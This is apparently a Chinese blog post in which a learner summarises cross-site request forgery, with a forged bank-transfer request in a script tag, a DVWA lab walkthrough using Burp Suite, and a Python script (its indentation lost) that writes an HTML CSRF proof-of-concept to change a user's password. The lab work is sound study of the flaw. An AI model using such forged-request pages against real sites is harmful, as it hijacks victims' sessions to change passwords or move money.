前言:
看完小迪老师的CSRF漏洞讲解。感觉不行
就自己百度学习。这是总结出来的。
 
歌曲:
 
正文:
CSRF与xss和像,但是两个是完全不一样的东西。
xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍:点我跳转
 
CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍:点我跳转
 
CSRF原理:
 
银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
攻击者的博客:http://www.hack.com/index,php
把这个加入到js里面。<script src="http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。
 

实验:
这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:
首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low

启动Burpsuite,设置代理。

回到刚刚的页面,输入要更改的密码。burp开启抓包
 

抓到的包

构造CSRF POC

更改所需要的

点击Regenerate按钮更新POC,点击Test in browser复制链接

点击Copy按钮。复制到浏览器上使用

点击按钮实行csrf攻击。

从图中我们可以看到密码已经更改,退回登录界面。

点击登录

从图中我们可以看到,CSRF攻击已经成功实施。
既然如此我们为什么不写一个CSRF脚本呢?
代码如下:
import time
import simplejson as json
def poc():
url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
values=url.split('?')[-1]
urltwo=url.split('?')[:-1]
urltwos="".join(urltwo)
dumps={}
for line in values.split('&'):
key,value=line.split('=',1)
dumps[key]=value
discts=[i for i in dumps.keys()]
print('原url:',url)
print('url原带的参数:',dumps)
dumps['password_new'] = 'password'
dumps['password_conf'] = 'password'
valueswto=[g for g in dumps.values()]
print('url更该后的参数',dumps)
print('1.burpsuite的POC') user=input('请进行你的选择:')
if user == '1':
print('burpsiuite的POC')
burp=open('burp.html','w')
burp.write('<html>\n')
burp.write('<body>\n')
burp.write('<script>history.pushState("''","''",'"'/'"')</script>\n')
burp.write('<form action="{}">\n'.format(urltwos))
burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[0],valueswto[0]))
burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[1],valueswto[1]))
burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[2],valueswto[2]))
burp.write('<input type="submit" value="Submit CSRF POC"/>\n')
burp.write('</form>\n')
burp.write('</body>\n')
burp.write('</html>\n')
burp.close()
else:
print('【-】抱歉你没有进行选择,退出ing...')
time.sleep(1)
exit() poc()

  测试结果如下:

生成的html

打开burp.html

 点击按钮

密码更改成功。

有关CSRF的资料:《CSRF原理》

《深入CSRF解析》

《从0开始学CSRF》

浅谈CSRF漏洞的更多相关文章

  1. django 浅谈CSRF(Cross-site request forgery)跨站请求伪造

    浅谈CSRF(Cross-site request forgery)跨站请求伪造(写的非常好) 本文目录 一 CSRF是什么 二 CSRF攻击原理 三 CSRF攻击防范 回到目录 一 CSRF是什么 ...

  2. 浅谈CSRF(Cross-site request forgery)跨站请求伪造

    目录 浅谈CSRF(Cross-site request forgery)跨站请求伪造 CSRF是什么 CSRF攻击原理 CSRF攻击防范 浅谈CSRF(Cross-site request forg ...

  3. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  4. ref:浅谈XXE漏洞攻击与防御

    ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20   |   分类于 web安全  |   热度 3189 ℃ 你会挽着我 ...

  5. [转]浅谈CSRF攻击方式

    在CSDN中看到对CSRF攻击的原理及防护文章,讲解浅显易懂,特转之: 来源:http://blog.csdn.net/fationyyk/article/details/50833620 一.CSR ...

  6. 浅谈CSRF攻击方式

    一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...

  7. 浅谈CSRF(Cross-site request forgery)跨站请求伪造(写的非常好)

    一 CSRF是什么 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者X ...

  8. 浅谈CSRF攻击方式(转)

    add by zhj: 在看Django开发的应用时,看到了CSRF,然后搜到了这篇文章,讲的不错.其实CSRF 攻击也蛮简单的.当你登陆网站A后,会在本地存有cookie,在cookie没有过期的情 ...

  9. 浅谈CSRF攻击方式(转)

    引自:http://www.cnblogs.com/hyddd/一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one cli ...

随机推荐

  1. JavaWeb学习笔记八 监听器

    监听器Listener jservlet规范包括三个技术点:servlet :listener :filter:监听器就是监听某个对象的的状态变化的组件.监听器的相关概念事件源: 被监听的对象(三个域 ...

  2. $translate 的用法

    translate 的用法 1.在html页面:文本的翻译 <h1 translate>hello world</h1> <h1 translate = 'hello w ...

  3. g第十四周,十五周作业

    1.数组中偶数的和 #include <stdio.h> int main(){ ; ]; ;i<=;i++) { scanf("%d ",&a[i]); ...

  4. Alpha第三天

    Alpha第三天 听说 031502543 周龙荣(队长) 031502615 李家鹏 031502632 伍晨薇 031502637 张柽 031502639 郑秦 1.前言 任务分配是VV.ZQ. ...

  5. C语言第五次作业函数

    一.PTA实验作业 题目1: 6-6 使用函数输出水仙花数 1.本题PTA提交列表 2.设计思路 1.narcissistic函数 1.由于number的值后面会变化,所以定义d,e用于储存numbe ...

  6. 2017-2018-1 Java演绎法 第八周 作业

    团队任务:UML设计 团队组长:袁逸灏 本次编辑:刘伟康 团队分工 第一次使用泳道图,感觉非常方便,从图中的箭头和各个活动框中可以清晰地看出分工流程: 不过既然是博客园,分工就不能只贴图,markdo ...

  7. [知识梳理]课本3&9.1

    函数:关键词:参数.返回值.函数返回类型.函数体. 函数按照返回类型,可以分为有参函数和无参函数. 函数根据是否有返回值,可以分为返回值函数和非返回值函数.     函数的定义:函数的定义可以放在任意 ...

  8. CentOS7 防火墙firewalld详细操作

    1.firewalld的基本使用 启动: systemctl start firewalld 查看状态: systemctl status firewalld  停止: systemctl disab ...

  9. java double相加

    public class DoubleUtil { private static final int DEF_DIV_SCALE = 10; /** * 相加 * * @param d1 * @par ...

  10. Windows用户模式下注入方式总结

    注入技术在病毒木马.游戏.打补丁等编程中应用很广泛,学习该技术不仅能帮助理解Windows工作原理,还能对病毒木马技术手段有更加深刻的理解,下面我们了解下各种注入方式吧. 一.DLL注入 在注入技术中 ...